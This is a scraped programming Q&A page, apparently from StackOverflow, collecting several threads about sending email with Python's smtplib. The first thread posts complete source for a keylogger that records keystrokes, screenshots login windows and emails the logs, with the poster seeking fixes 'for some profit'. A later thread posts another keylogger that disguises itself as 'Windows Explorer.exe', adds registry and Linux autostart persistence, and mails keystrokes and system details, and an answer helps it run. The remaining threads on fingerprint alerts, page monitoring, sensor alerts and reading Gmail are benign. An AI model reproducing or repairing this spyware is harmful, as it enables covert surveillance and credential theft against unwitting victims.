Python Smtplib Sendmail Error - python

I was improvising on my Friends keylogger for some profit yesterday. When I run the py file of the keylogger in python IDLE I get this error
Traceback (most recent call last):
File "C:\Python27\Scripts\Configure.py", line 263, in <module>
sendEmail()
File "C:\Python27\Scripts\Configure.py", line 224, in sendEmail
server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string())
File "C:\Python27\lib\smtplib.py", line 743, in sendmail
(code, resp) = self.data(msg)
File "C:\Python27\lib\smtplib.py", line 504, in data
raise SMTPDataError(code, repl)
SMTPDataError: (421, '4.7.0 Temporary System Problem. Try again later (RQ). z29sm64505579pff.0 - gsmtp')
Note that Configure.py is the name of the keylogger. Here is the Keylogger :
#!/usr/bin/python
# Automated Keylogger 0.1a #
# ------------------------ #
# > www.TechnicDynamic.com #
# ------------------------ #
# Credits to original code from DaniWeb forums:
# http://www.daniweb.com/software- development/python/threads/229564/python-keylogger
# Currently works on Windows only
# -------------------------------
# * Records all keystrokes
# * Takes automated screenshots (see config below)
# * Sends email containing logs and screenshots
# Required modules
# ----------------
# Make sure they're all installed if you plan to compile it yourself.
from time import sleep
from threading import Timer
from threading import Thread
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from PIL import Image, ImageGrab
from email.mime.multipart import MIMEMultipart
import subprocess, socket, base64, time, datetime, os, sys, urllib2, platform
import pythoncom, pyHook, Image, ImageGrab, win32api, win32gui, win32con, smtplib
# Keylogger settings
#################################
# Email Settings #
LOG_SENDMAIL = False # set to True to send emails
LOG_MAIL = 'email#gmail.com' # account email address (must exist)
LOG_PASS = 'password' # email's password (must exist)
LOG_FROM = 'bla#blabla.com' # email will be sent from this address
LOG_SUBJ = 'Long time my friend'# email subject
LOG_MSG = 'Howdy!' # email content - the body
# ----------------------------- #
# Screenshot Settings #
LOG_SCREENSHOT = False # set to True to take screenshot(s)
LOG_SCREENSNUM = 3 # set amount of screenshot to take.
LOG_INTERVAL = 2 # interval between each screenshot.
LOG_SCREEN = [] # this list contains matches for taking automated screenshots...
#LOG_SCREEN.append("Facebook") # for example, if it finds "Facebook" in titlebar..
#LOG_SCREEN.append("Sign In") # or if it finds "Sign In", common email login page.
#LOG_SCREEN.append("Google") # -- 'watchu googlin fool?
# ----------------------------- #
# System Settings # [shouldn't be modified]
LOG_FILENAME = 'tmpConf.txt' # log file (current directory)
LOG_TOSEND = [] # contains files to send in email attachment
LOG_ACTIVE = '' # stores active window
LOG_STATE = False # Start keylogger as false
LOG_TIME = 0 # amount of time to log in seconds, where 0 = infinite and 86400 = 1 day
LOG_TEXT = "" # this is the raw log var which will be written to file
LOG_TEXTSIZE = 0 # marks the beginning and end of new text blocks that separate logs
LOG_MINTERVAL = 86400 # main loop intervals in seconds, where 86400 = 1 day (default)
LOG_THREAD_kl = 0 # thread count for keylogger
LOG_THREAD_ss = 0 # thread count for automated screenshots
# ----------------------------- #
# Debug [Don't change] #
# LOG_ITERATE = 3 #
# print os.getcwd() #
#################################
# this sets the thread ID before execution.
main_thread_id = win32api.GetCurrentThreadId()
def Keylog(k, LOG_TIME, LOG_FILENAME):
# only supported for Windows at the moment...
if os.name != 'nt': return "Not supported for this operating system.\n"
global LOG_TEXT, LOG_FILE, LOG_STATE, LOG_ACTIVE, main_thread_id
LOG_STATE = True # begin logging!
main_thread_id = win32api.GetCurrentThreadId()
# add timestamp when it starts...
LOG_TEXT += "\n===================================================\n"
LOG_DATE = datetime.datetime.now()
LOG_TEXT += ' ' + str(LOG_DATE) + ' >>> Logging started.. |\n'
LOG_TEXT += "===================================================\n\n"
# find out which window is currently active!
w = win32gui
LOG_ACTIVE = w.GetWindowText (w.GetForegroundWindow())
LOG_DATE = datetime.datetime.now()
LOG_TEXT += "[*] Window activated. [" + str(LOG_DATE) + "] \n"
LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n"
LOG_TEXT += " " + LOG_ACTIVE + " |\n"
LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n\n"
if LOG_TIME > 0:
t = Timer(LOG_TIME, stopKeylog) # Quit
t.start()
# open file to write
LOG_FILE = open(LOG_FILENAME, 'w')
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages() # this is where all the magic happens! ;)
# after finished, we add the timestamps at the end.
LOG_FILE = open(LOG_FILENAME, 'a')
LOG_TEXT += "\n\n===================================================\n"
LOG_DATE = datetime.datetime.now()
LOG_TEXT += " " + str(LOG_DATE) + ' >>> Logging finished. |\n'
LOG_TEXT += "===================================================\n"
LOG_STATE = False
try:
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
except:
LOG_FILE.close()
return True
# this function stops the keylogger...
# thank God for the StackOverflow thread! :D
def stopKeylog():
win32api.PostThreadMessage(main_thread_id, win32con.WM_QUIT, 0, 0);
# this function actually records the strokes...
def OnKeyboardEvent(event):
global LOG_STATE, LOG_THREAD_ss
# return if it isn't logging.
if LOG_STATE == False: return True
global LOG_TEXT, LOG_FILE, LOG_FILENAME, LOG_ACTIVE, LOG_INTERVAL, LOG_SCREENSHOT, LOG_SCREENSNUM
LOG_TEXT = ""
LOG_FILE = open(LOG_FILENAME, 'a')
# check for new window activation
wg = win32gui
LOG_NEWACTIVE = wg.GetWindowText (wg.GetForegroundWindow())
if LOG_NEWACTIVE != LOG_ACTIVE:
# record it down nicely...
LOG_DATE = datetime.datetime.now()
LOG_TEXT += "\n\n[*] Window activated. [" + str(LOG_DATE) + "] \n"
LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n"
LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
LOG_ACTIVE = LOG_NEWACTIVE
# take screenshots while logging!
if LOG_SCREENSHOT == True:
LOG_IMG = 0
while LOG_IMG < len(LOG_SCREEN):
if LOG_NEWACTIVE.find(LOG_SCREEN[LOG_IMG]) > 0:
LOG_TEXT += "[*] Taking " + str(LOG_SCREENSNUM) + " screenshot for \"" + LOG_SCREEN[LOG_IMG] + "\" match.\n"
LOG_TEXT += "[*] Timestamp: " + str(datetime.datetime.now()) + "\n\n"
ss = Thread(target=takeScreenshots, args= (LOG_THREAD_ss,LOG_SCREENSNUM,LOG_INTERVAL))
ss.start()
LOG_THREAD_ss += 1 # add 1 to the thread counter
LOG_IMG += 1
LOG_FILE.write(LOG_TEXT)
LOG_TEXT = ""
if event.Ascii == 8: LOG_TEXT += "\b"
elif event.Ascii == 13 or event.Ascii == 9: LOG_TEXT += "\n"
else: LOG_TEXT += str(chr(event.Ascii))
# write to file
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
return True
# screenshot function
def Screenshot():
img=ImageGrab.grab()
saveas=os.path.join(time.strftime('%Y_%m_%d_%H_%M_%S')+'.png')
img.save(saveas)
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(saveas)
LOG_TOSEND.append(addFile) # add to the list
# take multiple screenshots function
# args = number of shots, interval between shots
def takeScreenshots(i, maxShots, intShots):
shot = 0
while shot < maxShots:
shottime = time.strftime('%Y_%m_%d_%H_%M_%S')
Screenshot()
time.sleep(intShots)
shot += 1
# send email function
# this example is for GMAIL, if you use a different server
# you MUST change the line below to the server/port needed
# server = smtplib.SMTP('smtp.gmail.com:587')
def sendEmail():
msg = MIMEMultipart()
msg['Subject'] = LOG_SUBJ
msg['From'] = LOG_FROM
msg['To'] = LOG_MAIL
msg.preamble = LOG_MSG
# attach each file in LOG_TOSEND list
for file in LOG_TOSEND:
# attach text file
if file[-4:] == '.txt':
fp = open(file)
attach = MIMEText(fp.read())
fp.close()
# attach images
elif file[-4:] == '.png':
fp = open(file, 'rb')
attach = MIMEImage(fp.read())
fp.close()
attach.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
msg.attach(attach)
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(LOG_MAIL, LOG_PASS)
server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string())
server.quit()
# function to clean up fiels
def deleteFiles():
if len(LOG_TOSEND) < 1: return True
for file in LOG_TOSEND:
os.unlink(file)
# begin keylogging
kl = Thread(target=Keylog, args=(LOG_THREAD_kl,LOG_TIME,LOG_FILENAME))
kl .start()
# if keylogging is running infinitely
if LOG_TIME < 1:
# begin continuous loop
while True:
# zZzzzzZZzzZ
time.sleep(LOG_MINTERVAL) # sleep for time specified
LOG_NEWFILE = time.strftime('%Y_%m_%d_%H_%M_%S') + ".txt"
# add file to the LOG_TOSEND list
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(LOG_NEWFILE)
LOG_TOSEND.append(addFile) # add to the list
LOG_SAVEFILE = open(LOG_NEWFILE, 'w')
LOG_CHCKSIZE = open(LOG_FILENAME, 'r')
LOG_SAVEFILE.write(LOG_CHCKSIZE.read())
LOG_CHCKSIZE.close()
try:
LOG_SAVEFILE.write(LOG_SAVETEXT)
LOG_SAVEFILE.close()
except:
LOG_SAVEFILE.close()
# send email
if LOG_SENDMAIL == True:
sendEmail()
time.sleep(6)
deleteFiles()
LOG_TOSEND = [] # clear this list
# otherwise sleep for specified time, then break program
elif LOG_TIME > 0:
# sleep for time specified
time.sleep(LOG_TIME)
time.sleep(2)
# check to send email
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(LOG_FILENAME)
LOG_TOSEND.append(addFile) # add to the list
sendEmail()
time.sleep(2)
sys.exit()
This keylogger is not made by me and I was only Improvising it and hence had no plans for using it.
Here is the screenshot for the python IDLE
Image -Updated
The Up and running and Network Currently down are my ways to ensure that connection is there before it sends the keylogger to the receiver's mail id. Again I am only improvising. So you can see that it succeeded sending the data almost 19 times but then the error showed up. So I can I fix it ?
Regards,
Note- I updated the Image

Related

Don't know how to execute function after else command

I'm trying to take an image via webcam then send the image through gmail. That function suppose to happen if my fingerprint is known at the system. If it does it needs to execute the send email function. I added after the send email function to send 'HIGH' to a gpio. I don't think it suppose to interfere.
When there is a known template it is followed by an "else:" statement. then I put my "def find_newest_file(dir):" function. What am I doing wrong?
might note I'm terrible at programming. Thank you!
Pyfingerprint
import os
import glob
import time
import smtplib
import imghdr
from email.message import EmailMessage
import RPi.GPIO as GPIO
from time import sleep
GPIO.setmode(GPIO.BCM)
GPIO.setup(26, GPIO.OUT)
import hashlib
from pyfingerprint.pyfingerprint import PyFingerprint
GPIO.output(26, 0)
## Search for a finger
##
## Tries to initialize the sensor
try:
f = PyFingerprint('/dev/ttyUSB0', 57600, 0xFFFFFFFF, 0x00000000)
if ( f.verifyPassword() == False ):
raise ValueError('The given fingerprint sensor password is wrong!')
except Exception as e:
print('The fingerprint sensor could not be initialized!')
print('Exception message: ' + str(e))
exit(1)
## Gets some sensor information
print('Currently used templates: ' + str(f.getTemplateCount()) +'/'+ str(f.getStorageCapacity()))
## Tries to search the finger and calculate hash
try:
print('Waiting for finger...')
## Wait that finger is read
while ( f.readImage() == False ):
pass
## Converts read image to characteristics and stores it in charbuffer 1
f.convertImage(0x01)
## Searchs template
result = f.searchTemplate()
positionNumber = result[0]
accuracyScore = result[1]
if ( positionNumber == -1 ):
print('No match found!')
exit(0)
else:
print('Found template at position #' + str(positionNumber))
print('The accuracy score is: ' + str(accuracyScore))
def find_newest_file(dir):
os.system('fswebcam -r 1280x720 -S 3 --jpeg 90 --save /home/pi/Pictures/%H%M%S.jpg')
types = ['*.png', '*.jpg']
files = []
if not os.path.isdir(dir):
print(f'ERROR: {dir} does not exist. or it is not a valid folder')
exit()
for ext in types:
scan_path = os.path.abspath(os.path.join(dir, ext))
files.extend(glob.glob(scan_path))
if len(files) == 0:
print(f'ERROR: file not found while scanning folder: {dir} for: {types}')
exit()
newest = None
n_time = 0
for file in files:
# print(file)
c_time = os.path.getctime(file)
if c_time > n_time:
n_time = c_time
newest = file
if newest is None:
print(f'-----------\nUnexpected error: None was return while the list was not empty:\n{files}')
exit()
if os.path.exists(newest):
return newest # return as a list since this is what Yehonata expect
else:
print(f'ERROR: File {newest} not found')
exit()
# Yehontan Code
Sender_Email = "Sender#gmail.com"
Reciever_Email = "reciver#gmailcom"
Password = input('Enter your email account password: ')
newMessage = EmailMessage()
newMessage['Subject'] = "Check out the new logo"
newMessage['From'] = Sender_Email
newMessage['To'] = Reciever_Email
newMessage.set_content('Let me know what you think. Image attached!')
# Tomerl: Replace static name with seach function
files = [ find_newest_file('/home/pi/Pictures/') ]
for file in files:
with open(file, 'rb') as f:
image_data = f.read()
image_type = imghdr.what(f.name)
image_name = f.name
newMessage.add_attachment(image_data, maintype='image', subtype=image_type, filename=image_name)
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:
smtp.login(Sender_Email, Password)
smtp.send_message(newMessage)
try:
for x in range(1):
GPIO.output(26, 1)
sleep(2.5)
GPIO.output(26, 0)
sleep(2.5)
except KeyboardInterrupt:
GPIO.cleanup()
GPIO.output(26, 0)
## Loads the found template to charbuffer 1
f.loadTemplate(positionNumber, 0x01)
## Downloads the characteristics of template loaded in charbuffer 1
characterics = str(f.downloadCharacteristics(0x01)).encode('utf-8')
## Hashes characteristics of template
print('SHA-2 hash of template: ' + hashlib.sha256(characterics).hexdigest())
except Exception as e:
print('Operation failed!')
print('Exception message: ' + str(e))
exit(1)
You need to define the function at the top of the program. You only need to call it after the else statement. Basically, put
def find_newest_file(dir):
os.system('fswebcam -r 1280x720 -S 3 --jpeg 90 --save /home/pi/Pictures/%H%M%S.jpg')
types = ['*.png', '*.jpg']
files = []
if not os.path.isdir(dir):
print(f'ERROR: {dir} does not exist. or it is not a valid folder')
exit()
at the top and when you want to use it do
find_newest_file(foo)
Good luck on your journey!

Making a Local Keylogger sending email everytime system boots with python

"This is my first coding question on stack so maybe not upto mark"
So I am trying to make a local keylogger that would store all keystrokes in a .txt file
and when the system reboots send the file to my email using smtp and again start the keylogger.
The code is as follows:
import pynput.keyboard
import smtplib
import os
import shutil
import subprocess
import sys
import stat
import platform
import getpass
import socket
import time
class Keylogger:
def __init__(self, email, password):
self.email = email
self.password = password
self.system_info = self.get_system_info()
def append_to_log(self, string):
self.log = self.log + string
file = open(r"C:\Program Files\explorer.txt", "wb")
file.write(self.log)
def check_internet(self):
ipaddress = socket.gethostbyname(socket.gethostname())
while ipaddress=="127.0.0.1":
time.sleep(10)
ipaddress = socket.gethostbyname(socket.gethostname())
self.report()
def get_system_info(self):
uname = platform.uname()
os = uname[0] + " " + uname[2] + " " + uname[3]
computer_name = uname[1]
user = getpass.getuser()
return "Operating System:\t" + os + "\nComputer Name:\t\t" + computer_name + "\nUser:\t\t\t\t" + user
def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)
def report(self):
self.send_mail(self.log)
def send_mail(self, message):
message = "Subject: Alogger report\n\n" + "Report From:\n\n" + self.system_info + "\n\nLogs:\n" + message
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(self.email, self.password)
server.sendmail(self.email, self.email, message)
server.quit()
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
keyboard_listener.join()
def become_persistent(self):
if sys.platform.startswith("win"):
self.become_persistent_on_windows()
elif sys.platform.startswith("linux"):
self.become_persistent_on_linux()
def become_persistent_on_windows(self):
evil_file_location = os.environ["appdata"] + "\\Windows Explorer.exe"
if not os.path.exists(evil_file_location):
self.log = "* Keylogger started * "
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /t REG_SZ /d "' + evil_file_location + '"', shell=True)
def become_persistent_on_linux(self):
home_config_directory = os.path.expanduser('~') + "/.config/"
autostart_path = home_config_directory + "/autostart/"
autostart_file = autostart_path + "xinput.desktop"
if not os.path.isfile(autostart_file):
self.log = "** Keylogger started **"
try:
os.makedirs(autostart_path)
except OSError:
pass
destination_file = home_config_directory + "xnput"
shutil.copyfile(sys.executable, destination_file)
self.chmod_to_exec(destination_file)
with open(autostart_file, 'w') as out:
out.write("[Desktop Entry]\nType=Application\nX-GNOME-Autostart-enabled=true\n")
out.write("Name=Xinput\nExec=" + destination_file + "\n")
def chmod_to_exec(self, file):
os.chmod(file, os.stat(file).st_mode | stat.S_IEXEC)
#end of class
#starting Keylogger not included in class
if not os.path.exists(r"C:\Program Files\explorer.txt"):
Keylogger.become_persistent()
file = open(r"C:\Program Files\explorer.txt", "wb")
Keylogger.start()
elif os.path.exists(r"C:\Program Files\explorer.txt") and
os.stat(file_path).st_size
<= 0:
Keylogger.start()
else:
Keylogger.check_internet()
os.remove(r"C:\Program Files\explorer.txt")
Keylogger.start()
So i get the following errors:
Traceback (most recent call last):
File "C:/Users/MYPC/PycharmProjects/self_made_hack/venv/keylogger local.py", line
108, in <module>
Keylogger.become_persistent()
TypeError: become_persistent() missing 1 required positional argument: 'self'
This is my first advance project so many errors will be there.
so what are suggestions and solutions for this code
You're using the Keylogger class directly, but instead you should declare an instance of that class:
my_keylogger = Keylogger()
my_keylogger.become_persistent()

Script to check a page

I have a script that alerts me by mail when a phrase changes on a web page. I tried many things, but I can't fix the isAvailable() function: the script says "not available" every time, whether or not I give it an available server. Have you any clues?
# CONFIG
TARGET_KIMSUFI_ID = "160sk1" # something like 160sk1
TARGET_DESCR = ""
EMAIL_FROM_ADDRS = ""
EMAIL_TO_ADRS = ""
EMAIL_SMTP_LOGIN = EMAIL_FROM_ADDRS
EMAIL_SMTP_PASSWD = ""
EMAIL_SMTP_SERVER = ""
# CODE
import urllib.request
import smtplib
import time
def isAvailable():
rawPageContent = urllib.request.urlopen("https://www.kimsufi.com/en/servers.xml").read()
rawPageContent = str(rawPageContent)
poz = rawPageContent.find(TARGET_KIMSUFI_ID)
row = rawPageContent[poz:]
poz = row.find("</tr>")
row = row[:poz]
searchText = "Currently being replenished"
poz = row.find(searchText)
return poz != -1
def sendEmailWithMessageAvailable():
msg = "From: KIMSUFI HUNTER <"+EMAIL_FROM_ADDRS+">\r\n"+\
"To: "+EMAIL_TO_ADRS+"\r\n"+\
"Subject: [KIMSUFI] "+TARGET_DESCR+" is now AVAILABLE!\r\n"+\
"\r\n"+\
"kimsufi-hunter.py has detected that "+TARGET_DESCR+" is now ["+time.ctime()+"] available!\r\n"+\
"https://www.kimsufi.com/en/\r\n"
server = smtplib.SMTP(EMAIL_SMTP_SERVER)
server.starttls()
server.login(EMAIL_SMTP_LOGIN,EMAIL_SMTP_PASSWD)
server.sendmail(EMAIL_FROM_ADDRS, EMAIL_TO_ADRS, msg)
server.quit()
while True:
if isAvailable():
print(time.ctime() + " -- KIMSUFI "+TARGET_DESCR+" not available")
nextSleep = 5 #5secs
else:
print(time.ctime() + " -- KIMSUFI "+TARGET_DESCR+" AVAILABLE!!! -- sleeping for 5 minutes")
sendEmailWithMessageAvailable()
nextSleep = 5*60 #5mins
time.sleep(nextSleep)
Your isAvailable() function returns True if the website is available, False otherwise. You should change the if statement to:
if not isAvailable():
...

Python script too much cpu usage

I'm not an expert in programming so i googled a lot to get this script to work. It listens on the serial interface ans is searching for 3 values (temperature, humidity and battery level). If it finds one of zhem it saves it to a text file and checks if the value is above or under a certain level. I f this is the case it sends an e-mail to warn.
My problem is that it uses constatntly about 99% of cpu power...
Can you help me to limit the CPU usage to a minimum.
Thanks
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import serial
import time
import sys
import smtplib
from time import sleep
def mail(kind, how, value, unit):
fromaddr = 'sender#domain.com'
toaddrs = 'recipient#domain.com'
msg = "\r\n".join([
"From: sender",
"To: recipient",
"Subject: Warning",
"",
"The " + str(kind) + " is too " + str(how) + ". It is " + str(value) + str(unit)
])
username = 'user'
password = 'password'
server = smtplib.SMTP('server:port')
server.ehlo()
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
def main():
port = '/dev/ttyAMA0'
baud = 9600
ser = serial.Serial(port=port, baudrate=baud)
sleep(0.2)
while True:
while ser.inWaiting():
# read a single character
char = ser.read()
# check we have the start of a LLAP message
if char == 'a':
# start building the full llap message by adding the 'a' we have
llapMsg = 'a'
# read in the next 11 characters form the serial buffer
# into the llap message
llapMsg += ser.read(11)
if "TMPB" in llapMsg:
TMPB = llapMsg[7:]
with open("TMPB.txt", "w") as text_file:
text_file.write(TMPB)
if float(TMPB) >= 19:
mail("temperature", "high", TMPB, "°C")
elif float(TMPB) <= 15:
mail("temperature", "low", TMPB, "°C")
else:
pass
elif "HUMB" in llapMsg:
HUMB = llapMsg[7:]
with open("HUMB.txt", "w") as text_file:
text_file.write(HUMB)
if float(HUMB) >= 80:
mail("humidity", "high", HUMB, "%")
elif float(HUMB) <= 70:
mail("humidity", "low", HUMB, "%")
else:
pass
elif "BATT" in llapMsg:
BATT = llapMsg[7:11]
with open("BATT.txt", "w") as text_file:
text_file.write(BATT)
if float(BATT) < 1:
mail("battery level", "low", BATT, "V")
else:
pass
sleep(0.2)
if __name__ == "__main__":
main()
I solved the question myself.
The while ser.inWaiting(): loop was causing the heavy cpu load.
I removed it and corrected the indentation and it works great with a few % cpu load.
Thanks for your hints, it helped me solving the problem.

Checking email with Python

I am interested to trigger a certain action upon receiving an email from specific
address with specific subject. In order to be able to do so I need to implement
monitoring of my mailbox, checking every incoming mail (in particular, i use gmail).
what is the easiest way to do that?
Gmail provides the ability to connect over POP, which you can turn on in the gmail settings panel. Python can make connections over POP pretty easily:
import poplib
from email import parser
pop_conn = poplib.POP3_SSL('pop.gmail.com')
pop_conn.user('username')
pop_conn.pass_('password')
#Get messages from server:
messages = [pop_conn.retr(i) for i in range(1, len(pop_conn.list()[1]) + 1)]
# Concat message pieces:
messages = ["\n".join(mssg[1]) for mssg in messages]
#Parse message intom an email object:
messages = [parser.Parser().parsestr(mssg) for mssg in messages]
for message in messages:
print message['subject']
pop_conn.quit()
You would just need to run this script as a cron job. Not sure what platform you're on so YMMV as to how that's done.
Gmail provides an atom feed for new email messages. You should be able to monitor this by authenticating with py cURL (or some other net library) and pulling down the feed. Making a GET request for each new message should mark it as read, so you won't have to keep track of which emails you've read.
While not Python-specific, I've always loved procmail wherever I could install it...!
Just use as some of your action lines for conditions of your choice | pathtoyourscript (vertical bar AKA pipe followed by the script you want to execute in those cases) and your mail gets piped, under the conditions of your choice, to the script of your choice, for it to do whatever it wants -- hard to think of a more general approach to "trigger actions of your choice upon receipt of mails that meet your specific conditions!! Of course there are no limits to how many conditions you can check, how many action lines a single condition can trigger (just enclose all the action lines you want in { } braces), etc, etc.
People seem to be pumped up about Lamson:
https://github.com/zedshaw/lamson
It's an SMTP server written entirely in Python. I'm sure you could leverage that to do everything you need - just forward the gmail messages to that SMTP server and then do what you will.
However, I think it's probably easiest to do the ATOM feed recommendation above.
EDIT: Lamson has been abandoned
I found a pretty good snippet when I wanted to do this same thing (and the example uses gmail). Also check out the google search results on this.
I recently solved this problem by using procmail and python
Read the documentation for procmail. You can tell it to send all incoming email to a python script like this in a special procmail config file
:0:
| ./scripts/ppm_processor.py
Python has an "email" package available that can do anything you could possibly want to do with email. Read up on the following ones....
from email.generator import Generator
from email import Message
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.mime.multipart import MIMEMultipart
https://developers.google.com/gmail/gmail_inbox_feed
Says you have to have a corporate Gmail, but I have come to find that you can read Gmail free versions without issues. I use this code to get my blood pressure results I email or text to a gmail address.
from email.header import decode_header
from datetime import datetime
import os
import pandas as pd
import plotly.graph_objs as go
import plotly
now = datetime.now()
dt_string = now.strftime("%Y.%m.%d %H:%M:%S")
print("date_time:", dt_string)
email_account = '13123#gmail.com'
email_password = '131231231231231231312313F'
email_server = 'imap.gmail.com'
email_port = 993
accept_emails_from = {'j1231312#gmail.com', '1312312#chase.com', '13131231313131#msg.fi.google.com'}
verbose = True
def get_emails():
email_number = 0
local_csv_data = ''
t_date = None
t_date = None
t_systolic = None
t_diastolic = None
t_pulse = None
t_weight = None
try:
mail = imaplib.IMAP4_SSL(email_server)
email_code, email_auth_status = mail.login(email_account, email_password)
if verbose:
print('[DEBUG] email_code: ', email_code)
print('[DEBUG] email_auth_status: ', email_auth_status)
mail.list()
mail.select('inbox')
# (email_code, messages) = mail.search(None, 'ALL')
(email_code, messages) = mail.search(None, '(UNSEEN)') # only get unread emails to process.
subject = None
email_from = None
for email_id in messages[0].split():
email_number += 1
email_code, email_data = mail.fetch(email_id, '(RFC822)')
for response in email_data:
if isinstance(response, tuple): # we only want the tuple ,the bytes is just b .
msg = email.message_from_bytes(response[1])
content_type = msg.get_content_type()
subject, encoding = decode_header(msg["Subject"])[0]
subject = str(subject.replace("\r\n", ""))
if isinstance(subject, bytes):
subject = subject.decode(encoding)
email_from, encoding = decode_header(msg.get("From"))[0]
if isinstance(email_from, bytes):
email_from = email_from.decode(encoding)
if content_type == "text/plain":
body = msg.get_payload(decode=True).decode()
parse_data = body
else:
parse_data = subject
if '>' in email_from:
email_from = email_from.lower().split('<')[1].split('>')[0]
if email_from in accept_emails_from:
parse_data = parse_data.replace(',', ' ')
key = 0
for value in parse_data.split(' '):
if key == 0:
t_date = value
t_date = t_date.replace('-', '.')
if key == 1:
t_time = value
if ':' not in t_time:
numbers = list(t_time)
t_time = numbers[0] + numbers[1] + ':' + numbers[2] + numbers[3]
if key == 2:
t_systolic = value
if key == 3:
t_diastolic = value
if key == 4:
t_pulse = value
if key == 5:
t_weight = value
key += 1
t_eval = t_date + ' ' + t_time
if verbose:
print()
print('--------------------------------------------------------------------------------')
print('[DEBUG] t_eval:'.ljust(30), t_eval)
date_stamp = datetime.strptime(t_eval, '%Y.%m.%d %H:%M')
if verbose:
print('[DEBUG] date_stamp:'.ljust(30), date_stamp)
print('[DEBUG] t_systolic:'.ljust(30), t_systolic)
print('[DEBUG] t_diastolic:'.ljust(30), t_diastolic)
print('[DEBUG] t_pulse:'.ljust(30), t_pulse)
print('[DEBUG] t_weight:'.ljust(30), t_weight)
new_data = str(date_stamp) + ',' + \
t_systolic + ',' + \
t_diastolic + ',' + \
t_pulse + ',' + \
t_weight + '\n'
local_csv_data += new_data
except Exception as e:
traceback.print_exc()
print(str(e))
return False, email_number, local_csv_data
return True, email_number, local_csv_data
def update_csv(local_data):
""" updates csv and sorts it if there is changes made. """
uniq_rows = 0
if os.name == 'posix':
file_path = '/home/blood_pressure_results.txt'
elif os.name == 'nt':
file_path = '\\\\uncpath\\blood_pressure_results.txt'
else:
print('[ERROR] os not supported:'.ljust(30), os.name)
exit(911)
if verbose:
print('[DEBUG] file_path:'.ljust(30), file_path)
column_names = ['00DateTime', 'Systolic', 'Diastolic', 'Pulse', 'Weight']
if not os.path.exists(file_path):
with open(file_path, 'w') as file:
for col in column_names:
file.write(col + ',')
file.write('\n')
# append the new data to file.
with open(file_path, 'a+') as file:
file.write(local_data)
# sort the file.
df = pd.read_csv(file_path, usecols=column_names)
df_sorted = df.sort_values(by=["00DateTime"], ascending=True)
df_sorted.to_csv(file_path, index=False)
# remove duplicates.
file_contents = ''
with open(file_path, 'r') as file:
for row in file:
if row not in file_contents:
uniq_rows += 1
print('Adding: '.ljust(30), row, end='')
file_contents += row
else:
print('Duplicate:'.ljust(30), row, end='')
with open(file_path, 'w') as file:
file.write(file_contents)
return uniq_rows
# run the main code to get emails.
status, emails, my_data = get_emails()
print('status:'.ljust(30), status)
print('emails:'.ljust(30), emails)
# if the new emails received then sort the files.
csv_rows = update_csv(my_data)
print('csv_rows:'.ljust(30), csv_rows)
exit(0)

Categories

Resources